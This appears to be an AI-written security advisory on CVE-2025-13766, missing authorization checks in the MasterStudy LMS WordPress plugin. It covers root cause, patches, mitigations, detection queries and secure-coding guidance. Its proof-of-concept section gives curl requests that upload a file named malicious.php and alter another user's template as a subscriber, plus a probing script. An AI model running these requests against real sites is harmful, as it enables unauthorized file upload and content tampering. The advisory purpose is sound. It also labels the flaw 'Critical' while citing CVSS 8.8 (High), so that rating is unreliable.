Let me output the analysis directly to the user instead:
---
# CVE-2025-13766: MasterStudy LMS Missing Capability Checks - Comprehensive Security Analysis
## 1. Vulnerability Background
### What is this Vulnerability?
CVE-2025-13766 is a **critical authorization bypass vulnerability** affecting the MasterStudy LMS WordPress Plugin (versions ≤ 3.7.6). The vulnerability stems from missing capability checks on multiple REST API endpoints, allowing authenticated users with minimal privileges (Subscriber-level or above) to perform privileged operations they should not have access to.
The vulnerability manifests across several attack vectors:
- **Unauthorized media file operations** - Upload or delete arbitrary files
- **Post manipulation** - Delete or modify posts without proper authorization
- **Course template management** - Create, modify, and delete course templates without instructor privileges
- **Administrative configuration changes** - Modify course styling and template configurations reserved for administrators
### Why is this Critical/Important?
1. **Privilege Escalation**: Allows low-privileged authenticated users (Subscriber, Contributor) to perform actions reserved for Administrators and Instructors
2. **Data Integrity Compromise**: Enables unauthorized deletion and modification of critical course content, posts, and media
3. **Content Destruction**: Attackers can delete course templates and media without recovery options
4. **Widespread Impact**: Affects all endpoints lacking proper authorization
5. **Ease of Exploitation**: Requires only basic authentication; no complex exploitation technique needed
6. **Scope**: Impacts any WordPress site running MasterStudy LMS with user accounts
**CVSS v3.1 Score**: 8.8 (High)
### Systems/Versions Affected
- **Plugin**: MasterStudy LMS WordPress Plugin – for Online Courses and Education
- **Affected Versions**: All versions up to and including 3.7.6
- **Required Access**: Authenticated user with Subscriber-level privileges or above
- **WordPress Compatibility**: All WordPress installations with vulnerable plugin versions
---
## 2. Technical Details
### Root Cause Analysis
The vulnerability exists due to **improper implementation of authorization checks in REST API endpoints**. The plugin implements authentication (verifying user identity) but fails to implement proper authorization (verifying user capabilities and role-based access control).
**Key architectural flaw**: Only authentication middleware is applied; authorization checks at controller-level are missing.
### Critical Files and Code Comparison
**File 1: CreateCourseTemplateController.php** (CWE-284: Improper Access Control)
Old: No capability check before processing template creation
New: Added `current_user_can( 'edit_posts' )` validation with 403 response
**File 2: UploadController.php** (CWE-639: Authorization Bypass)
Old: No `upload_files` capability check
New: Enforces `current_user_can( 'upload_files' )` before processing
**File 3: ModifyCourseTemplateController.php** (CWE-639: Horizontal Privilege Escalation)
Old: Accepts post_id without verifying user ownership
New: Validates `current_user_can( 'edit_post', $post_id )` for specific resource
**File 4: UploadFromUrlController.php** (CWE-284: Improper Access Control)
Old: URL-based upload lacks capability checks
New: Enforces `upload_files` capability for all upload methods
**File 5: DeleteCourseTemplateController.php** (CWE-639: Authorization Bypass)
Old: No authorization check before deletion
New: Added `current_user_can( 'delete_post', $template_id )` validation
**File 6: UpdateCourseTemplateController.php** (CWE-284: Administrative Privilege Required)
Old: Any authenticated user can modify global templates
New: Restricts to `current_user_can( 'manage_options' )` (administrators only)
**File 7: routes.php** (CWE-863: Incorrect Authorization)
Old: Only Authentication middleware on `/course-templates` routes
New: Added Instructor middleware for role-based access control
### How the Fixes Address the Vulnerability
The patches implement a **multi-layered authorization strategy**:
1. **Route-Level Authorization** (routes.php):
- Instructor middleware blocks non-instructors at entry point
- Prevents unnecessary processing of unauthorized requests
2. **Controller-Level Authorization** (individual controllers):
- Checks WordPress capabilities using `current_user_can()`
- Validates role-specific permissions (edit_posts, delete_post, manage_options, upload_files)
- Returns proper HTTP 403 Forbidden responses
- Provides actionable error messages with `esc_html__()` escaping
3. **Resource-Level Authorization** (ModifyCourseTemplateController, DeleteCourseTemplateController):
- Validates capability against specific post ID
- Prevents horizontal privilege escalation
- Ensures users can only modify/delete their own resources
---
## 3. Proof of Concept (PoC) Guide
### Prerequisites for Exploitation
- WordPress installation with MasterStudy LMS plugin v3.7.6 or earlier
- REST API enabled (default in WordPress 5.0+)
- Valid Subscriber-level user account
- HTTP client (curl, Postman, etc.)
### Exploitation Scenario 1: Unauthorized Media Upload
```bash
# Step 1: Authenticate and get session cookie
curl -c cookies.txt -X POST http://target-site.com/wp-login.php \
-d "log=subscriber_user&pwd=password&wp-submit=Log+In"
# Step 2: Upload file via vulnerable endpoint
curl -X POST http://target-site.com/wp-json/masterstudy-lms/v1/media/upload \
-F "
[email protected]" \
-b cookies.txt
# Expected vulnerable response:
# HTTP/1.1 200 OK
# {"success": true, "file_url": "/wp-content/uploads/malicious.php"}
# Patched response:
# HTTP/1.1 403 Forbidden
# {"error_code": "media_upload_access_error", "message": "You do not have permission to upload media files."}
```
### Exploitation Scenario 2: Unauthorized Template Modification
```bash
# Modify another instructor's template without permission
curl -X POST http://target-site.com/wp-json/masterstudy-lms/v1/course-templates/modify \
-H "Content-Type: application/json" \
-d '{"post_id": 42, "title": "Modified by Attacker"}' \
-b cookies.txt
# Expected vulnerable: Template successfully modified
# Patched: 403 Forbidden with permission error
```
### How to Verify Vulnerability Status
**Python Verification Script**:
```python
import requests
def check_vulnerability(target_url, subscriber_cookie):
endpoints = [
('/wp-json/masterstudy-lms/v1/media/upload', 'POST', None),
('/wp-json/masterstudy-lms/v1/course-templates', 'POST', '{"title":"Test"}'),
('/wp-json/masterstudy-lms/v1/course-templates/modify', 'POST', '{"post_id":1,"title":"Modified"}'),
]
for endpoint, method, data in endpoints:
response = requests.request(
method,
target_url + endpoint,
headers={'Cookie': subscriber_cookie, 'Content-Type': 'application/json'},
data=data
)
if response.status_code == 200:
print(f"[VULNERABLE] {endpoint} - Status {response.status_code}")
elif response.status_code == 403:
print(f"[PATCHED] {endpoint} - Properly restricted")
else:
print(f"[UNKNOWN] {endpoint} - Status {response.status_code}")
```
---
## 4. Recommendations
### Mitigation Strategies
#### **Immediate Actions**
1. **Update Plugin**:
```bash
wp plugin update masterstudy-lms # Update to v3.7.7 or later
```
2. **Restrict REST API Access** (Temporary):
```apache
# Add to .htaccess
<FilesMatch "wp-json/masterstudy-lms">
Order allow,deny
Allow from <trusted-ip-ranges>
</FilesMatch>
```
3. **Audit User Accounts**:
- Remove unnecessary Subscriber/Contributor accounts
- Assign least-privilege roles
- Verify admin account permissions
4. **Monitor for Exploitation**:
```sql
-- Detect suspicious media uploads by low-privilege users
SELECT * FROM wp_posts
WHERE post_type = 'attachment'
AND post_author IN (
SELECT ID FROM wp_users WHERE ID IN
(SELECT user_id FROM wp_usermeta
WHERE meta_key = 'wp_user_level' AND meta_value < 2)
)
AND post_date > DATE_SUB(NOW(), INTERVAL 24 HOUR);
```
### Detection Methods
**WordPress Security Plugins**:
- Wordfence - REST API request monitoring
- Sucuri - Unauthorized access tracking
- iThemes Security - Activity logging
**Web Server Log Analysis**:
```bash
# Find suspicious REST API POST/DELETE requests
grep "/wp-json/masterstudy-lms" /var/log/apache2/access.log | \
grep -E "POST|DELETE|PUT" | grep " 200 " | head -20
```
**IDS/WAF Rule**:
```
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"MasterStudy LMS Unauthorized Access";
flow:to_server,established;
content:"/wp-json/masterstudy-lms/";
http_method:POST;
pcre:"/course-templates|media\/upload/";
sid:1000001;
)
```
### Best Practices to Prevent Similar Issues
#### **Secure REST API Controller Template**
```php
class SecureRestController {
public function __invoke( WP_REST_Request $request ) {
// 1. Verify authentication
if ( ! is_user_logged_in() ) {
return new WP_REST_Response(
['error' => 'Authentication required'],
401
);
}
// 2. Check capability
if ( ! current_user_can( 'required_capability' ) ) {
return new WP_REST_Response(
['error' => 'Insufficient permissions'],
403
);
}
// 3. Validate input
$data = $request->get_json_params();
if ( empty( $data['required_field'] ) ) {
return new WP_REST_Response(
['error' => 'Missing required field'],
400
);
}
// 4. Check resource-level permissions
if ( isset( $data['post_id'] ) ) {
if ( ! current_user_can( 'edit_post', $data['post_id'] ) ) {
return new WP_REST_Response(
['error' => 'Cannot edit this resource'],
403
);
}
}
// 5. Sanitize input
$data = array_map( 'sanitize_text_field', $data );
// 6. Process request
// ...
}
}
```
#### **Authorization Checklist**
- [ ] Authentication verified
- [ ] Capability checked with `current_user_can()`
- [ ] Resource-level permissions validated
- [ ] Input properly sanitized
- [ ] Output properly escaped
- [ ] HTTP 403 returned for auth failures
- [ ] Operations logged for audit trail
- [ ] Rate limiting implemented
- [ ] CORS headers configured
#### **Code Review Requirements**
- Every REST endpoint must have explicit authorization checks
- Document which capabilities protect each endpoint
- Test with multiple user roles
- Review for privilege escalation risks
---
## Summary
CVE-2025-13766 is a critical authorization bypass allowing low-privileged users to perform administrative actions on MasterStudy LMS. The vulnerability demonstrates that **authentication alone is insufficient** - comprehensive capability checks must be implemented at both route and controller levels.
**Key Takeaways**:
1. Always implement authorization checks, not just authentication
2. Use multi-layered approach: route + controller + resource-level checks
3. Return proper HTTP status codes (403 for authorization failures)
4. Test authorization with different user roles
5. Update immediately to v3.7.7 or later
---
**Analysis Date**: 2026-01-08
**CVE Reference**: CVE-2025-13766
**Severity**: Critical (CVSS 8.8)